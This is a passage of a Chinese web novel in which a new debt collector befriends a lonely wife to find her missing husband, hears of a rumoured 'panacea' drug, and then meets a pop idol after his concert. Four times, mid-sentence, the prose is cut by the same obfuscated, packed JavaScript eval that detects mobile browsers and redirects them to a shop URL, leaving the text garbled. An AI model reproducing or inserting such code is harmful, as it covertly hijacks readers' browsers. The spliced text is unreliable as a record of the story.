后来,灰土又因为黑色交易而被封控,被逼无奈进行拍卖流程,被孔在一以一个高到离谱程度的价格拿下。 所以,孔在一并不是靠灰土起家,而是他本身就有一笔不小的财富。 在祝余于手机上了解完这段内情的时候,她已经乘坐飞机于首都机场降落。 这次的任务目标是姓氏为吉田的欠债方,根据任务的需求,她需要去接触吉田的太太,尽可能地从对方口中得知欠债人吉田的去向。 稍微有些棘手的是,这位吉田先生持有两国国籍,灰土所属的国家是他的第二国籍,如果他仍然留在境内,那么事情就会好办很多。但如果他回到自己的第一国籍家乡,再想抓到人就会变得困难很多。 毕竟哪怕是灰土,也很难跨过国家去达成自己的目标。 祝余身上背负着的,是整整的四千万!以及!灰土的未来! 当然不是…… 她到底在想什么呢…… 首先,还是先想想要怎么接近吉田太太吧。 根据资料显示,吉田太太是家庭主妇,婚后她遵循着来自异乡的丈夫的意愿,更改了姓氏、辞去了工作,专心在家操持家务。二人结婚已有五年之久,但他们一直没有孩子。 也就是说,这是个限制片里十分典型的——寂寞人/妻形象!! 话说,这任务难道不应该是孔在一自己来吗? 他应该最喜欢对着废物丈夫口出狂言,然后与美丽人/妻进行这样那样的牛头人剧情了吧? 这么想着,祝余面无表情地给了自己一巴掌。 妄议上司者,死。 她现在已经是个合格的卖命狂徒了呢。 总之,先想想办法吧。 在经过了早起抢鸡蛋、晚上抢打折便当,中午还要去旅店楼下的咖啡厅伪装上班族的日子后,她终于和那位吉田太太交流了联络方式。 吉田太太真的非常温柔,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407018|200568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们在短短的一周内变成了几乎无话不谈的好友。 她的眼睛弯弯的,笑起来像是两枚小小的月牙,眼尾有着岁月镌刻的纹路。 她说,看到祝余的脸,就让她回想起从前在家里总是和她顶嘴的弟弟,接着一脸落寞地等待祝余的接话。 吉田太太原姓柳,在嫁给吉田先生之后,已经有将近五年没有回过属于自己的家。 双亲已逝,只剩一个弟弟不再联络,因此总是感到十分寂寞。 祝余无言。 看着面前这张温柔典雅泛着些许无奈的面孔,祝余心中飙泪。 她现在,完全能够理解孔在一的想法。 无法做出任何伤害她的行为,如果有人用这样恳切而脆弱的目光注视着自己,那么无论是谁都舍不得让她失望。 恍惚间,祝余甚至认为,被设下铺天盖地圈套的、在其中洋洋得意的猎物,应该是自己才对。 …… 是的,假如任务在这里失败,那么她就会变成猎物、变成别人的盘中餐,对吧? 于是吉田太太发现,那个有着一头柔软紫发的少年,目视着她的脸,一双没有什么神采的黑眸中透露出些微温暖的弧光,那张与弟弟没什么相似之处的脸,此刻却迸发出如弟弟的面容一般璀璨的光辉,那是一种令人无法拒绝的模样,让人宁愿带着飞蛾扑火的渴望烧灼自己的身体。 祝余记得,要微笑,要温和,要对这位可怜的太太施展自己的友善和关切,要在她感到痛苦的时候趁虚而入。要让这位太太相信她,要让她自己吐露属于丈夫的行踪,并且,要尽可能地探查吉田家的资金周转方式。 祝余轻声地、带着柔软的关切,像是一个不谙世事的孩子般问出唐突的问题, “那么,太太不会感到难过吗?” “欸?”吉田太太从那双旋涡般的眼眸中抽出属于自己的心智。 那孩子垂着眼睛,感伤着,“听起来,吉田太太总是一个人,就像我一样。” “我是会因为孤独而感到难过的哦。吉田太太是个好人,我不希望你体会这种痛苦。”她喃喃着。 此乃谎言。 全部,都是谎言。 但吉田太太慌了神,急忙伸手抚摸这个瘦弱孩子的肩膀,安抚她的神经。 “虽然是会感到寂寞,但是,我也有属于自己的支柱哦?” 吉田太太唇角带着幸福的笑容, “因为,我有最爱的丈夫呢。” Bingo! 出现了呢,关键人物。 祝余感受到自己的唇角在抽搐,那是一种病态的情绪漏洞,但无人在意。 吉田太太听到,那孩子冷冷地说: “说谎,太太在说谎。” 紫发的少年目光落在她右手无名指位置,那个泛白的戒痕, “幸福的话,不需要说这些话也不会觉得寂寞的。” 她伸手,捧着吉田太太的手掌,将脸贴上去,如同感受母亲般的呵护一样,轻声说: “觉得寂寞的话,无论如何都不会觉得幸福的,吉田太太,我时刻在品尝着这种痛苦。所以,无论如何,唯独在我面前,不要说谎,我希望我们是真心相交的朋友。” 啊…… 这个孩子。 唯独这个孩子,那双水淋淋的、如同婴孩般纯真的双眸,是真心地、在乞求着这个名为吉田的女人幸福。 吉田太太张张嘴唇,沉默了片刻,才声音沙哑地说: “是呢,因为,丈夫抛弃我了,所以编造出这种可耻卑劣的谎言,这样的我才是世界上最没有用的存在吧,对不起欺骗了你,小余。” 这谎言般的柔情,此刻也暂时地缝合着吉田太太破碎的心脏,让她在这个年纪尚小的、和弟弟一般年纪的少年面前,承认了自己不被丈夫爱着的事实。 但那双被她称之为纯真的眸子,此刻阖上,却没有半分情绪在其中。 5. 第 5 章 吉田先生年轻时是个风流潇洒的男人。在他的父母因病去世之后,他像是突然打通了任督二脉,驰骋于生意场。依靠着父母留下的部分遗产,他来到异国他乡,在这片贫瘠的土地上建立起属于自己的地产王国。 这样身份的人,只是区区四千万而已,怎会让他落入如此狼狈的局面? 甚至抛弃妻子,远走杳无音讯。 紫发的少年面容上带着清晰的怜惜与愤懑,他实打实地为这位悲伤的太太而感到惋惜。 他不像吉田太太身边那些落井下石之人一样冷嘲热讽,而只是静静听着,听这位面临崩溃的太太讲述着她这些日子的艰辛。 失去丈夫的她,格外脆弱。 也格外恐惧丈夫遗留的金融矛盾会波及到自己的身上。 她变卖了家中所有的不动产,甚至将早些年丈夫送给她的金银首饰、名贵包品全都典当,但也没能堵住吉田先生留下的硕大的窟窿。 因此,她选择逃离。 很显然,吉田先生的财产危机绝不仅仅是欠下灰土的那四千万。 可到底为什么呢? 吉田太太迟缓的言语给了祝余答案。 她面颊惨白,紧紧握着祝余温暖的手掌,似乎在尝试着汲取一份力量。之后,她才一字一顿地问: “小余,你听说过万能药吗?” 所谓的万能药,在医学领域中,大多数指代的是可以强力杀死绝大多数病菌的抗生素,这在现代社会中已经不是罕见的药物。 但直觉告诉祝余,吉田太太口中所说的“万能药”绝不仅仅这么简单。 接下来,她可能会听到一些不该听的东西,又或者说,是一些会危机到她自身的东西。 奇怪,先前的谨慎和犹豫此刻都消失了。 祝余不得不承认,吉田太太的模样有种魔力。 祝余只是沉默了半分钟,便抬起眼,温和地注视着吉田太太那双忧郁的眸子,无声地要她继续下去。 吉田太太咬着牙,祝余甚至能听到她因发抖而变调的声音,她的恐惧似乎透过体温传递到祝余心底,让她发自内心地感同身受。 “那是——一种,可以治病——可以治疗任何疾病的药……”吉田太太顿了顿,“甚至于——死亡。” 那声音柔软得像棉花,却像是给了祝余当头一棒。 当下那一刻,她心中迸发出的第一个想法便是—— 这该是多么该死、又多么诱人的东西。 能够医治人类疾苦的药剂,只要存在,就会被贪婪的人心拉扯着。 可理性驳倒了她。 她下意识地否定着: “怎么可能呢?那是不可能存在的东西。” 吉田太太伸手,轻轻顺着少年纤瘦的下颌线抚摸,像是抚慰着她记忆中的幼弟。 “是的,没错,那是一种不该存在的东西。” 吉田先生得了一种现代医学尚无法医治的病——多发性神经纤维瘤。 这种瘤寄生在人的神经细胞上,割去一个又长一个,几乎摧毁了吉田先生的意志。 吉田太太说,那是一种流通于非公众市场的药品,有某个组织打着“万能”的名头疯狂敛财,并以此种药为噱头不停地寻找着愿意合作的“试验者”。 是的,没错。 那甚至是一种尚未成型的药物。 倘若成功了,那将是一笔无法想象的、巨额的财富。 只要能够买下自己的命,不论多少钱,人们都会因此而前仆后继。 祝余察觉到自己的身体在发抖。 这显然已经不是她能知晓的信息了。 她不敢想象,在这种药的背后,会是多么可怕、多么疯狂的链条。 她似乎听到了命运在“咔哒咔哒”,发出清脆而寒战的声响。 吉田太太声音带着哭腔: “都是我不好。是我,是我被人蒙骗,是我要帮他寻找那种万能药,是我把他推进了这种深渊。我是个不称职的妻子,我明知道那是陷阱,却还让他去了……” 然后,吉田先生再也没有回来。 但是,先暂停一下。 吉田太太的证词中,其实存在着很多疑点。 首先,吉田太太说自己变卖了家中所有的财产,但肉眼可见,面前的吉田太太并不落魄。祝余鼻尖嗅闻到的香水味,是奢牌50mL能卖到天价的山茶花香型。她的手掌温和细腻没有薄茧,至少已经有好几年没有进行过任何劳作,这不是一个家境落魄的前贵太太应该享受的生活。 其次,明明不进行任何劳作,却会早上起来抢菜市场的新鲜蔬菜,晚上选购便利店的打折便当。面对一个素未谋面的少年,却选择和盘托出。 这合理吗? 因此,不排除吉田先生和吉田太太里应外合,演了这么一出荒谬的戏码来逃脱债务。 所谓的“万能药”,或许也只是托词。 吉田太太那双温柔的弯月眸,此刻自怜的模样平白无故带上些许狡诈。 祝余想,这或许就是让她来完成这起催债任务的目的。她存在的价值,取决于她是被摧毁还是摧毁别人。 祝余紧握着吉田太太的手,语气平静地安抚着她的情绪: “可是,吉田太太,你为什么没有和你的先生一起去呢?丢下你一个人的丈夫,真的还有守护的必要吗?你们曾经是相爱的,对吧?” 吉田太太的脸色一僵。 “是啊,是的,为什么?为什么他会离开我呢?”她这样轻声问着,不知道是在质问着谁。 “太太,您的情绪太不稳定了,这对身体不好。”祝余叹息着,“或许您现在最需要的是好好休息,而不是强撑着。真心希望您幸福的人,是绝对不会愿意看到您这副模样的。” 同时,她也在隐晦地表达着: 抱歉,我不能相信你说的话。 少年的温柔和体贴,是吉田太太将近十年来都没感受到的东西。 她高嫁给吉田先生,因为弟弟反对所以再也没有过来往。身边的人似乎都在等待着看她露出穷苦卑劣的一面,她只能强撑着。记忆中疼爱她的父母的脸,也逐渐变得模糊。 奇怪。 如果丈夫能逃离的话,她无论如何也没关系。 这不是她从一开始就决定的想法吗? 注视着那双深黑色、似乎无神的眼睛,吉田太太似乎透过光影看到了那其中自己的模样。 那是一个正在为了所爱之人不择手段,逐渐变得疯狂的女人。 吉田太太喃喃自语:“小余,你不相信我吗?” 她甚至等不及回答,直愣愣地继续着,眼神中没有光彩, “那些让你靠近我的家伙,竟然连这个都没有告诉过你吗?” 吉田太太又一次伸手,用带着花香的手指抚摸触碰着祝余的下颌,怜爱道: “你该是个多么无辜的孩子……” 她的话没有后续,而是被祝余打断了。 祝余只说: “太太,我别无选择。” 已经,不需要再说更多了。 两方都明白对面的身份。 吉田太太沉默地坐着,灯光温暖地打在她的脸上,却使得那张从未被岁月摧折的面容变得扭曲。 “或许,一切都是我的错。”吉田太太这么说,“如果我没有执意开始这一切,就不会变成现在的模样。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407019|200568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的话语中还残存着另外一层意味,只是当时的祝余并没有察觉到。 吉田太太再度看过来的时候,眼眸中伪装的柔情已经消失。 她沉默着从包中拿出纸和笔,在上面写下一串数字,那是一个境外的区域号。 她伸手,推过那张纸条。 语气冷淡: “如果你们需要的话,就去联络这个人吧。” 祝余点点头,收下那张纸条,任务勉强可以算作成功。 但她的心中却没有什么兴奋的情绪。 “你知道吗?”对面的女人突然开口,“如果不是你长得像我弟弟,我是不会让你靠近我的。” 她问: “你是个女孩子,对吧?” 祝余没有回答她的问题。 遮掩之下,吉田太太只能看到她那双瞳仁比一般人略小的双眸,那是一双只要稍稍失去光亮就会显得无神的眼睛。可偏偏,她垂眸时,眼尾的弧度又暗藏一抹柔情。 那是吉田太太无法拒绝的模样。 女人的嘴角勾起笑意,那是和之前截然不同的、冰冷的笑,“你看起来真别扭,他们怎么会让你来接近我呢?你年龄还这么小。” 祝余迟疑地看着她。 事实上,这是她第一次做任务。 当然,她也不明白自己这份任务到底算是重要还是普通。 吉田太太对她说的最后一句话是: “我的弟弟五年前就失踪了,能再见到他,我很开心。” 五年前,正是吉田太太嫁给她丈夫的时候。 …… 祝余捏着那张纸条,认认真真地拍下来,甚至还专门誊抄了一遍,发给了对面的对接人员。 对接人员的口吻很冷淡,几乎只有单调的“嗯”“好”“明白”之类的字眼。 祝余也不在意。 这种临时的“组合”是灰土内完成任务的方式,今后她会经历很多次。 汇报完任务进度之后,多余的时间全都属于祝余自己。 她去便利店买了明天要吃的早饭,看着手机里三天后的机票,绞尽脑汁地思索着自己能干点什么。 “初来乍到”的祝余,好奇心并没有那么旺盛。她唯一能够胜于其他穿越小说主角的优点就是怂。 她还挺珍惜自己的命的。 所以,有关万能药的情报,她也一字不差地汇总了过去。 她在潜意识里觉得,那应该不是她能接触得到的东西。 祝余提着一袋便利店食物,拉了拉脸上的口罩,慢吞吞地走在回旅店的路上。 迎面撞上几个身着学院制服的女生,她们正笑得开怀、叽叽喳喳地讨论着什么。 短发女生问: “欸,兔的票真的超级难抢啊,有点想去呢。” 长发女生即答: “不关心,不想看。有人说他风评很差,私生活无敌混乱的,小莲你怎么会喜欢那种人啊?” 中长发女生被她们夹在中间,检索着什么,“那是谁?小莲是要去动物园吗?” 祝余与短发女生对上视线,出于礼貌,她微微颔首离开。 短发女生没有第一时间反驳友人对偶像的“污蔑”,而是呆呆地愣在原地。 “奇怪。”她喃喃道,“刚刚那个人,莫名地很帅欸,而且好眼熟。” 长发女生顺着她的视线望过去,“哪里哪里?帅哥在哪里?” 她们的声音飘得很远,直到祝余再也听不到为止。 兔? 或许是那家伙吧? 那个会和梦女私联的混账偶像。 祝余摸了摸下巴,思考着要不要去观摩一下所谓的“主角”呢? 6. 第 6 章 “兔卷sharke”,是个长相略带几分阴柔的男性。 倒不如说,他的长相很符合大部分青春少年男女的取向,卡在特立独行却又饱含脆弱感的边缘。 他的前身并非“偶像”,而是一个破落网站的主播,是贫民窟出身。 但既然做了偶像,就要有个好听的包装。因此,在公司的运作下,“兔卷sharke”是个混血儿,母亲曾经是知名的剧作家,这也造就着他在粉丝眼中,那个“我行我素”的形象。 票务的问题很快就有人帮祝余解决了。 就在她用自己的手机搜索了有关兔卷sharke的信息之后,与她对接的联络人员就将那张属于她的强实名入场券拍照发了过来。 有人在监视着她,时时刻刻的。 但这反倒并不让祝余感到恐惧,心中只诞生了某种奇怪的心安理得。 在原来的世界中,她是不被需要的社会边缘人,但死掉之后,反而拥有了可笑的存在感。 祝余如此嘲笑着自己。 入场券上,是一张眼尾细长、眼窝嵌着烟熏妆的年轻男子的模样,他俏皮地吐着舌尖,依稀能看到唇齿间闪着一颗璀璨的亮钻,那是一颗净度、切割以及工艺都无可挑剔的1.19克拉蓝钻裸石,单克拉价值达到了恐怖的200万。但在那张漂亮而尖锐的脸上,那颗钻石也仿佛变成了陪衬。 祝余甚至可以说出,那颗钻石是兔卷sharke在三年前,于一个沿海边陲国度举办的拍卖会中拍下的。同时,那也是以兔卷sharke这个名字卖出的特典专辑销量正式达到一亿张的纪念品。 正是因为有这样夸张而恐怖的成绩,兔卷sharke才能成为当之无愧的主角。虽然剧本设计的时候略有缺漏,但仍能映照出现实世界中,他的独一无二。 演唱会的就在第二天的下午两点。 等到祝余终于慢悠悠地赶到会场时,却发现门口已经排了肉眼看不到头的长队。 离她最近的,是一行三个女生,头上戴着用夸张花体字装饰的头箍,花花绿绿地打着“兔卷sharke”,手上和包上都挂着成堆的周边,勒得手掌通红,脖子上还挂着沉重的相机。 但脸上无一不带着向往憧憬的表情。 再看看自己。 穿着简单的衬衣衬裤,手里提了一瓶矿泉水。 祝余叹了口气,老老实实地站进拥挤的人群中。 以防万一,她除了在夜晚休息的时候,都没有摘掉假发,衣服也适当地保持了无法辨别男女的穿搭风格,因此在拥挤的队伍中,单薄的少年显得格外与众不同。 …… 宋瑜真今天真的很匆忙。 在经历了堵塞的车流、意外的交通事故之后,她将将赶上开场的尾巴,排到了一个白衬衫少年的背后。 兔卷sharke的演唱会开场很特殊。 在正式开场之前,他会在票务区和工作人员一起检票,方式随机,人员随机,既缓冲了人员等待时的焦躁情绪,也适当地进行了粉丝互动。 宋瑜真期待这一天很久了。 要知道,她在兔卷的个人论坛中是满级大粉,却从来没有感受到偶像的VIP检票。 周围的所有人都无法吸引她的注意力了! 她的眼中,只剩下那个戴着墨镜、发丝张扬,脸上还带着甜蜜笑容的男性。 走得越来越近了! 宋瑜真心脏都要跳出来了。 出于这种极度紧张的情绪之下,她忍不住轻靠着障碍栏,歪头去数自己前面还有多少人。 是单数。 但是,兔卷却站在了第三个的位置上。 这也就意味着,除非和前面的人换个位置,不然兔卷是没办法检到宋瑜真的入场票的。 宋瑜真不相信。 她揉揉眼睛,重新数了一遍。 真的是单数…… 眼看着偶像越来越近,耳边的尖叫声也越来越大。 宋瑜真当然知道,这种可以接近偶像的机会,怎么会有人愿意让出来呢? 她心头略带失望,却也没觉得有多意外。 毕竟今天就是这么倒霉。 她放平心态,准备等会进场之后多拍两张照片,犒劳悲伤的自己。 移动的时候,鼻尖有一种奇怪的芬芳感。 那是一种无法用言语形容的气味。 非要宋瑜真形容的话,比较像是水果过度成熟之后发酵的靡甜味道,是身前的少年身上的气味。 有点怪异。 宋瑜真的动作惊扰了他,他慢半拍地转过身来,发丝遮住整个额前和半只眼睛,没被遮住的那只略微眯起来,以一种从上至下的角度审视着宋瑜真。 阳光下,少年的发丝泛着淡而朦胧的紫色,卷卷的发尾并不可爱,反而略显冷漠。瞳仁细小的眼睛注视人的时候,能够让人忘记脑海中任何思想,让人心神宁静。 这是个无论怎么看,都很普通的少年。 除去稍微有些辨识度的打扮之外。 但宋瑜真就是无法,轻易把目光移开。 片刻之后,他看看距离自己仅仅只剩三个身位的兔卷,用清晰的声线问: “要和我换个位置吗?” 好人! 绝对的好人! 宇宙超级无敌大好人! 换过位置之后,刚刚残留在宋瑜真心头那阵怪异感顿时消失不见,只剩下对眼前少年的感恩之情。 仔细一看,这明明就是同好嘛。 甚至还出了兔卷三年前特典演唱会时的经典造型! 宋瑜真脸上带着兴奋的红晕,递上挂在脖子上的联络牌,那是一种圈内加好友的快捷方式,用“饥渴”的语气道: “老师,可以扩列吗?” “扩列”。 是一个在某种群体内才通用的术语,大致的意思就是交换联络方式。 祝余看着眼前女性闪闪发光的眼睛,摇摇头,礼貌地拒绝了。 正是因为察觉到了她在自己身后躁动不安的情绪,祝余才意识到兔卷sharke演唱会检票流程的与众不同。 这里排队的女生都很有礼貌很克制,偶像走到面前时,也只会小声地要求签名或是合影,祝余很喜欢这份克制。 与之相对应地,名为“兔卷sharke”的偶像却在剧本中私联梦女,简直是糟糕到极点的那种人。 穿着浮夸、狭窄的颌面被墨镜遮挡的男子走过,他的唇面上涂着粉嫩的唇油,整张脸显得年轻鲜嫩。右手带着仅能包裹住无名指和尾指的黑胶手套,能很轻易地用纸笔签名。 他显然看到了祝余和他人交换位置的动作,面上的表情却不动声色。 男性顺应着宋瑜真的情绪,轻易地躲避某些容易产生过分肢体接触的动作,轻巧地接过宋瑜真递过来的相机,脸上扬起习惯性的笑容,在她的相机中留下一张尺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407020|200568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寸适当的合影。 接着签名,说再见。 一套动作行云流水,再正常不过。 甚至走过祝余的时候,他的动作也并没有停下,就连细微的视线都未曾扫过,仿佛除去需要营业的对象之外,其他的任何人都不值得他放在心上。 下一个女性,是这样。 下下个,也是这样。 一束温和的阳光搭在他的眉眼之间,让祝余于细微的角度之间,看到了那人的眼睛。 那是一双没什么情绪的单眼皮,眼尾有着微微翘起的纹路,是拒人千里之外的弧度。 半分钟之前,他还像一个漂亮的商品一样被消费着。 但现在,他陡然冷了下来,正用冰凉的目光慢吞吞地蚕食着粉丝赠予他的情感。 像蜘蛛一样。 大概…… 吧。 祝余被身后的人提醒着,推推搡搡地往前走,直到找到自己的位置。 那居然不是看台,而是第一排VIP的座位。 甚至她的左手边,就是之前换过位置的宋瑜真。 灰土的员工待遇有这么好吗? 是打算把她当储备粮,没用了就拉去嘎腰子吗? 宋瑜真激动地和她打了招呼。 黑暗的会场里,祝余甚至能听到周围人轻轻的呼吸声。 有人甚至发出了呜咽。 有这么夸张吗? 倒数10秒过后。 有窸窸窣窣的声音先响起。 如果非要说那是音乐的话,祝余是不认同的。 那更像是动物在阴暗的角落里发出的异响。 鼓点声轻盈地响起。 啪嗒啪嗒。 引出男声淡淡的哼鸣。 怪异。 奇妙。 非凡的调子。 哼鸣先是破碎,而后缓慢串成圆滑的音符。 灯光由暗转亮,是那种冷白的、刺目的光,一下子打到眼底,残忍地摧毁了人的条件反射。 站在舞台中间的人也一样,用尖锐而狂放的金属咆哮碾压着柔软的耳蜗。 他张开那只戴着黑胶手套的手掌,素白的掌心和纯黑的指套犹如切割过后又缝补在一起的皮肉,与歌词相得益彰。 [头发、眼睛、鼻子、嘴巴、皮肤、四肢] [所有的一切都被切开] [我是、最漂亮的物品] 这是一种奇怪的风格。 是祝余从前从来没关注过、也没听过的音乐风格。 像是疯狂地发泄、痛苦地嘶吼,但偏偏,舞台上那个人的脸色却又是如此平静。 祝余就坐在离他不到五米的地方,甚至能看到他转身时发丝飞扬的弧度,那双肉感单薄的眼皮轻眨的温吞。 他们的视线偶尔相交。 但祝余却无法从那双眼中看出任何情绪。 他好像只是轻描淡写地看了一眼,或者只是眼球在遥远距离之中的相互抚摸。 刺眼的、照在面部的光芒,几乎把男性的身体吞噬掉了,就像他歌词中的那样,他被当做商品使用掉了一样。 那束追光越来越亮,越来越亮,直到男性的嘶吼停下,音乐重新变得缓慢而迟钝之后,周围人的呜咽声才重又传到祝余的耳畔。 男性的身体彻底消失不见了。 在光芒下。 祝余恍然意识到—— 开场曲,结束了。 7. 第 7 章 祝余现在完全能够理解,“兔卷sharke”这个人的魅力所在。 在那几张薄如蝉翼的剧本中,他只代表着一个遥不可及的符号。 但现在,他就站在这里,声音和肢体都变成了他为世界哀悼的武器,这是个天生就应该站在众人面前的“商品”。 左手边,宋瑜真哭得抽抽搭搭的。 周围人的这种情绪一直持续到正常演唱会结束的时候。 耗时四个半小时的演唱会结束后,还会有VIP票的单人见面会。 数一数,其实整场的VIP票也就不到30位。 这么一想,灰土的财力和能力大到离谱。 祝余只希望,这张票是他们用正当手段得到的。 但她很少参加这类型活动。就算在原来的世界里,偶像明星对于祝余而言,也是个遥远不可及的词汇。 祝余只不过是犹豫了半秒钟,就被身前身后的队伍夹在中间,自发式地站在里面,被工作人员引导着,前往后台的贵宾室。 她第一次来,也第一次参与这种活动。原本打算离开的心思也放缓,坐在单独的座位上等待着。 衬衣兜里的手机振动一下,她拿出来看。 [062:结束请通知。] 通知了会怎样? 祝余慢吞吞地打字问。 那边的对接人员滞后半分钟,用着相对奇怪的口吻回复着: [062:我去接你。] 这样啊。 就像是完成任务之后,祝余的价值被正眼相待一样。 她明明记得,自己从首都机场落地之后,都是自己打车才来的。 灰土的阶级化差异真是彰显得淋漓尽致。 祝余一只手撑着下巴,百无聊赖地等待着。 贵宾室里的人很少,有比重极大的女性,也有零星一两个男性,穿着打扮都很考究。 祝余这样,只穿着单薄的衬衣衬裤坐在这里的,明显格格不入。 但她天生冷漠的面容又很好地弥补了这一点。 只要她表现得理所当然,就不会觉得尴尬。 “那个,”笑眼很明显的女生凑过来,小心翼翼地举起手机,“请问,可以合影吗?” 祝余指了指自己,问着: “我吗?” 女生点点头,脸上带着薄薄的红晕,染着嫩粉色的漂亮腮红。 虽然暂时还没搞明白状况,但祝余答应了。 她坐在第一排,不太好站起身和女生合影,只好挪了大腿,空出一大片位置,完完全全可以放下第二个人。 女生的脸变得更红了。 是因为场馆里很热吗? 她不太好意思地坐下来,将手机交给祝余,示意她来拍。 祝余一只手帮她压着裙摆,脸颊靠近,镜头中的两个人看起来不太协调。 女生熟练地在脸颊比心,而另一边紫发的少年微眯着眼睛,表情有些冷淡。 事实上,这只是因为祝余的视力一般,她要眯着眼睛才能看清楚镜头上那个脸色平淡的自己。 不过,既然是女生主动要求合影,她只需要负责把人家拍好看就可以了吧? 她挑选了很多个角度按下快门,确保照片里每一张的女生都很好看之后,才把手机还给她。 女生拿回手机,打开社交媒体,声音带着些小雀跃: “老师,请问您的平台账号是哪个?我可以关注吗?” 直到现在,祝余才发现自己是不是做了什么奇怪的事情? 场馆外那个交换位置的女生也是,面前这个女生也是,好像都把她认成了什么其他的人。 祝余迟疑地摇摇头,看着面前的女生脸上略带些遗憾而离开。 见面会很快开始。 坐在主位上的年轻男性换了身装束,舞台上那身浮夸艳丽的打扮褪去,换上了一身舒适轻松的衬衣衬裤,脸上的彩妆也卸了大半,只剩碎发上一点亮晶晶的发泥。 咦? 奇怪。 是不是有点什么的既视感…… 祝余反复看了看兔卷sharke的紫色挑染发,和那一身的白衬衣黑衬裤,以及卸掉伪装之后意外的朴素感。 再看了看自己…… 啊,原来是这样啊。 被当做死忠粉了吗? 应该,没什么大不了的吧……? 大家开始安静地排队,徒留祝余一个人坐在原来的位置上尴尬。 她现在是真的有点想走了,这种高仿遇到正品的既视感是怎么回事? 还是那句话—— 来都来了。 就像是乘车的时候大家会自发性地排队一样,祝余跟随着众人站在最后一个,有些好奇地观看着所谓的见面会的流程。 只有不到三十位,所以就算离得很远,声音也能很清晰地飘过来。 舞台下的兔卷sharke,比起之前嘶吼沙哑的声线,变得稍微沉默起来。 虽然不会很流利地与粉丝攀谈,但基本都在安安静静地聆听着他们的发言,接着发表自己的见解。 和祝余想象中的,流量偶像的模样,相差甚远。 粉丝们都准备了礼物,空手而来的只有祝余一个人。 到自己的时候,干脆就说一声“唱歌很好听”算了。 抱着这样的想法,祝余的面前逐渐空无一人。 她走过去,拉开椅子,坐下。 两人沉默地对视着。 祝余手里没有礼物,也没有主动开口。 她只是单纯地、因为尴尬而不知道该说些什么。 兔卷sharke的脸上也没有意外。 他伸手,声音轻轻的,咬字放松,“要合影吗?” 这个人,竟然意外地不是那种趾高气昂的类型! 祝余点点头,把手机递给他。 两张相似度不高、但气质意外重合的脸被映在相片上。 盯着那张相片,祝余听到那人慢吞吞地说: “我们打扮得好像,好有缘分。” 哈…… 莫名地,怎么有种很笨拙的感觉? 祝余点点头,诚实地说: “事实上,我也不是故意的,但是好像大家都觉得我在cos你。” “是吗?”兔卷sharke用银色的签字笔在一旁准备好的相片上签名,“但很好看,我很喜欢你。” 说话好直白! 原来是这种人设吗? 祝余不知道该如何回答,好像面前的男性也不需要她的回答。 他眨眨眼睛,似乎有些困倦。 祝余注意到他的瞳仁是纯黑色,面积很大,看样子是戴了大直径的美瞳片。 他问: “歌怎么样呢?这一场有三首是我之后预备要发行的新歌哦。” 语气中带着熟稔和亲昵,像是和熟悉的朋友分享自己的日常一样。 祝余终于找到自己可以回复的话题。 她措辞严谨地回答了: “好听。虽然我之前没怎么接触过这种风格的音乐,但今天之后,觉得自己也变成你的粉丝了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407021|200568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个回答显然让面前男性变得很开心。 他的眉心松了松,面容肉眼可见地愉悦起来,在场外时,那副冷漠淡然的模样好像变成另一个人。 “你,之前在场外和别人换了位置吧?”他果然提起,声音低低的。 祝余面色坦然:“嗯,因为我只是偶然得到入场券的,如果这个机会能给真正的粉丝,我想要比给我更好一些。” “是吗?”兔卷sharke抬眼,圆翘的眼尾上还沾着一些亮晶晶的碎片,衬得那双单薄的眼皮有些蛊惑的意味。 说话的时候,唇齿间也亮晶晶的,声音似乎因为那颗漂亮钻石的阻碍而变得柔软呢哝。 他说:“能喜欢我真是太好了。有你这样的人当我的粉丝,我也觉得很幸福。” 他没有拆穿祝余那种略带生硬的措辞,似乎也不在意二人之间体面生疏的交谈方式。 毕竟只是陌生人。 祝余这么想着。 接过兔卷sharke手中递过来的签好名的相片,那是一张可以称之为宁静的相片。 